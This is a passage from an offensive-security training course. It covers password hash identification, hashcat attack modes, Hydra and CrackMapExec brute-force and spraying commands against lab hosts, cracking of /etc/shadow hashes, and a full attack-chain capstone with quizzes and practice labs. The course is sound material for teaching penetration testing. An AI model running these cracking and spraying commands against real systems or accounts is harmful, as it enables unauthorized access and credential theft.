Argon2id — 8 chars
Centuries

* Full random 8-char printable ASCII bruteforce (~7 trillion combinations). Real passwords from wordlists crack much faster — rockyou.txt (14M passwords) runs in under 1 second on MD5.

// 27.2 — IDENTIFYING HASH TYPES
HASH IDENTIFICATION
# Hash examples with their type and Hashcat mode (-m): 5f4dcc3b5aa765d61d8327deb882cf99 ← MD5 (-m 0) — 32 hex chars 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 ← SHA-1 (-m 100) — 40 hex chars ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f ← SHA-256 (-m 1400) aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c ← NTLM (-m 1000) $2b$12$EXRkfkdmXn2gzds2SSitu.MW9.TNTiDPa2tO4vMYp4aQ3QPAB3gu6 ← bcrypt (-m 3200) $1$nUP0OmFM$Hc6sSkyq3q0oVnwMfCvGY/ ← MD5crypt (-m 500) — Linux /etc/shadow $6$rounds=5000$... ← SHA-512crypt (-m 1800) — modern Linux # Auto-identification: $ hashid 5f4dcc3b5aa765d61d8327deb882cf99 Analyzing '5f4dcc3b5aa765d61d8327deb882cf99' [+] MD2 [Hashcat Mode: 9000] [+] MD5 [Hashcat Mode: 0] ← most likely for 32-char hex [+] MD4 [Hashcat Mode: 900] $ hashcat --identify 5f4dcc3b5aa765d61d8327deb882cf99 The following hash-mode match the structure of the input hash: # | Name | Category ======+============================================================+========== 0 | MD5 | Raw Hash
// 27.3 — HASHCAT ATTACK MODES DEEP DIVE
HASHCAT — ALL ATTACK MODES WITH REAL EXAMPLES
# ── MODE 0: STRAIGHT (Wordlist) ────────────────────────────── # Try every word in the wordlist as-is. Fast. Best first attempt. $ hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt # Cracks ~40% of real MD5 hashes from rockyou.txt in under 1 second # ── MODE 0 + RULES (Wordlist + Mangling Rules) ──────────────── # Apply transformation rules: Capitalize, add numbers, l33tspeak, append symbols # Expands rockyou.txt (14M) into billions of variants $ hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule # best64.rule = 64 most effective rules: Password → P@ssw0rd, password1, PASSWORD! $ hashcat -m 0 hashes.txt rockyou.txt -r /usr/share/hashcat/rules/OneRuleToRuleThemAll.rule # OneRule = 52k rules combined — cracks ~90% of real-world hashes with rockyou # ── MODE 3: BRUTE FORCE (Mask Attack) ─────────────────────── # Define character sets with masks: ?l=lowercase ?u=upper ?d=digit ?s=special ?a=all # Pattern-based — if you know password structure $ hashcat -m 0 hashes.txt -a 3 ?u?l?l?l?l?d?d?d?d # Matches: Password1234 $ hashcat -m 0 hashes.txt -a 3 ?a?a?a?a?a?a?a?a # All 8-char combos $ hashcat -m 0 hashes.txt -a 3 Company?d?d?d?d # Company1234, Company2023... # ── MODE 1: COMBINATION ────────────────────────────────────── $ hashcat -m 0 hashes.txt -a 1 words1.txt words2.txt # Combines every word from list1 with every word from list2 # dragon + ball = dragonball, blue + sky = bluesky # ── MODE 6/7: HYBRID ───────────────────────────────────────── $ hashcat -m 0 hashes.txt -a 6 rockyou.txt ?d?d?d?d # Word from list + mask suffix: password → password1234, password2024 # ── WINDOWS NTLM HASHES (from Mimikatz/hashdump) ───────────── $ hashcat -m 1000 ntlm_hashes.txt rockyou.txt -r OneRuleToRuleThemAll.rule # NTLM is FAST: 289 billion hashes/sec. 8-char NTLM cracks in milliseconds. # ── MONITOR PROGRESS ───────────────────────────────────────── # Press 's' during run to see status # Results saved to hashcat.potfile automatically $ hashcat -m 0 hashes.txt --show # Show already-cracked hashes
// 27.4 — NETWORK-BASED PASSWORD ATTACKS
ATTACK TYPEWHAT IT ISTOOLDETECTION RISK
Brute Force Try ALL possible password combinations against a login. Exhaustive. Hydra, Medusa, Burp Intruder Very High — triggers lockout and IDS immediately
Dictionary Attack Try a wordlist of likely passwords. Faster, smarter than brute force. Hydra: -P rockyou.txt High — many failed attempts per user
Password Spraying Try ONE common password (e.g., "Spring2024!") against MANY users. Avoids lockout per-account. CrackMapExec, Ruler, Spray Low — 1 attempt per user, below lockout threshold
Credential Stuffing Try username:password pairs from previous data breaches. Password reuse is ~65%. Snipr, Sentry MBA, custom scripts Low–Medium — valid credentials = looks like real login
HYDRA — NETWORK LOGIN BRUTE FORCE
# SSH brute force (use with caution — creates log entries) $ hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \ 192.168.56.101 ssh -t 4 # -l = single username, -P = password list, -t = threads # Web login form brute force (POST) $ hydra -l admin -P rockyou.txt 192.168.56.101 \ http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" # Format: "URL:POST_body:failure_string" # ^USER^ and ^PASS^ are replaced by hydra with each attempt # Password spraying against SSH (one password, many users) $ hydra -L users.txt -p 'Summer2024!' 192.168.56.101 ssh # CrackMapExec — SMB password spraying (Active Directory) $ crackmapexec smb 192.168.56.0/24 -u users.txt -p 'Password123' \ --continue-on-success [+] 192.168.56.102:445 CORP\john.smith:Password123 (Pwn3d!) ← shell access!
// DAY 27 — QUIZ
You dump NTLM hashes from a Windows machine. One hash is aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c. Without running Hashcat, what can you tell from the first half of this hash, and what's the most efficient cracking approach for NTLM?
A The first half being repeated characters means the password is extremely short
B The first half is the null LM hash (LM disabled). The NTLM second half can be looked up in rainbow table databases instantly — 8846... is the hash of "password"
C The colon separates two different users\' hashes that were concatenated
D The length of each half tells you the approximate password character count
28

PHASE 2 CAPSTONE + CTF

LAB HackTheBox Machine · Full Attack Chain · Phase 2 Review · Phase 3 Preview

WEEK 4 — PHASE 2 COMPLETE ✓
🏆

Phase 2 complete. You've gone from reconnaissance to full exploitation — Metasploit shells, SQL injection database dumps, XSS session theft, SSRF to cloud credentials, IDOR privilege escalation, and cracking real password hashes. Today you chain everything into a complete attack against a real HackTheBox machine.

// 28.1 — THE COMPLETE ATTACK METHODOLOGY
PHASE 2 SKILLS — FULL ATTACK CHAIN

Everything you've learned follows a single methodology. Before touching Phase 3 (advanced exploitation), internalize this chain until it's automatic:

0
OSINT
Passive recon — theHarvester, Google dorks, Shodan. Zero network contact with target.
1
nmap -sV -sC
Active scanning — discover hosts, open ports, service versions. NSE scripts for quick vuln checks.
2
Enumerate
Gobuster for web dirs, enum4linux for SMB, BloodHound for AD. Build complete attack surface map.
3
Identify vulns
Match discovered versions to CVEs. OpenVAS/Nessus scan. Manual Burp testing on web apps.
4
Exploit
Metasploit for known CVEs. Manual SQLi/XSS for web. Credential attacks for authentication.
5
Post-exploit
Privilege escalation, credential harvesting, lateral movement, persistence. (Week 5–6 focus)
6
Document
Evidence screenshots, command history, impact demonstration. Professional report = paid engagement.
// 28.2 — PHASE 2 COMPLETE REVIEW TABLE
WEEKDAYSKILL MASTEREDTOOL
Week 315Nmap all scan types, NSE scripts, timing templatesnmap
16Directory/subdomain/parameter brute-forceGobuster, ffuf, Nikto
17Vulnerability scanning, CVSS triageOpenVAS, Nessus
18AD enumeration, BloodHound attack pathsBloodHound, enum4linux
19HTTP methods, cookies, security headerscurl, DevTools
20Burp Suite proxy, Repeater, manual testingBurp Suite
21HackTheBox: Meow, Fawn, Dancing, RedeemerAll of the above
Week 422Metasploit: exploit, payload, Meterpretermsfconsole, msfvenom
23SQL injection: manual + automated + all typesBurp Suite, sqlmap
24XSS: reflected, stored, DOM, cookie theftBurp Suite, XSS Hunter
25CSRF, SSRF (AWS meta), XXE file readBurp Suite
26IDOR, vertical privesc, OWASP Top 10Burp Suite, Intruder
27Hashcat all modes, Hydra, password sprayingHashcat, Hydra, CME
28Full attack chain HackTheBox machineEverything
// 28.3 — CAPSTONE LABS
LAB 1 — HACKTHEBOX: COMPLETE EASY MACHINE (Choose One)

No walkthrough mode. Attempt each step independently for 30 minutes before checking hints. The struggle is where you learn. Document EVERY command you run and why.

  • Lame — Classic easy Linux. Samba vulnerability + nmap → Metasploit. Good first machine.
  • Jerry — Windows Tomcat. Web recon → default credentials → WAR file upload → shell.
  • Bashed — Linux web server. Gobuster → find phpbash → user flag → privesc via sudo.
  • Blue — Windows EternalBlue (MS17-010). nmap NSE confirms → Metasploit → SYSTEM shell.
LAB 2 — PORTSWIGGER WEB ACADEMY (Complete All)
  • SQL Injection: "SQL injection vulnerability in WHERE clause" + "UNION attack extracting data from other tables"
  • XSS: "Stored XSS into HTML context" + "DOM XSS in document.write sink using source location.search"
  • CSRF: "CSRF vulnerability with no defenses" — build the CSRF PoC HTML and submit it
  • SSRF: "Basic SSRF against the local server" + "SSRF with blacklist-based input filter" (bypass practice)
  • Access Control: "Unprotected admin functionality" + "User ID controlled by request parameter"
LAB 3 — CRACK THE METASPLOITABLE HASHES
  • From Day 22: you dumped /etc/shadow from Metasploitable. Run hashid on each hash to identify the type.
  • Copy hashes to a file: shadow_hashes.txt
  • Crack with Hashcat: hashcat -m 500 shadow_hashes.txt rockyou.txt (MD5crypt for /etc/shadow)
  • Also try: john shadow_hashes.txt --wordlist=rockyou.txt
  • How many passwords did you crack? What were they? This is your loot documentation practice.
// 28.4 — FINAL PHASE 2 QUIZ
You've just compromised a web server via SQL injection and obtained a Meterpreter shell as www-data (non-root). The /etc/passwd shows a user "developer" with home at /home/developer. Describe the COMPLETE attack chain to reach root on this Linux machine.
A Run Mimikatz from Meterpreter to dump root credentials
B Delete log files to avoid detection and wait for an admin to log in
C Run local_exploit_suggester, enumerate SUID binaries and sudo rights with linpeas, check config files for reused credentials, check developer's .bash_history and SSH keys
D Reboot the server to get a fresh root session from the bootloader
// PHASE 3 PREVIEW
WEEK 5 — OFFENSIVE SECURITY ADVANCED
  • Linux & Windows privilege escalation deep dive
  • Post-exploitation: Mimikatz, credential harvesting
  • Active Directory attacks: Kerberoasting, Pass-the-Hash
  • Lateral movement: PSExec, WMI, BloodHound paths
  • Full AD domain compromise simulation
WEEK 6 — RED TEAM TECHNIQUES
  • AV evasion: shellcode encoding, process injection
  • Custom payload development with msfvenom
  • C2 frameworks: Sliver, Covenant concepts
  • Wireless attacks: WPA2, evil twin, aircrack-ng
  • Full red team report writing

Phase 2 Readiness Checklist: Before Phase 3, verify you can: (1) Get a root Meterpreter shell on Metasploitable via vsftpd in under 3 minutes from scratch. (2) Manually exploit a SQLi UNION attack to dump a database table. (3) Create a stored XSS payload that exfiltrates cookies. (4) Set up Burp and find an IDOR vulnerability by changing object IDs in Repeater. (5) Crack a provided list of MD5 hashes using rockyou + rules. (6) Get user and root flags on at least one HackTheBox easy machine independently.

← Previous Week ⌂ Lesson Hub Next Week →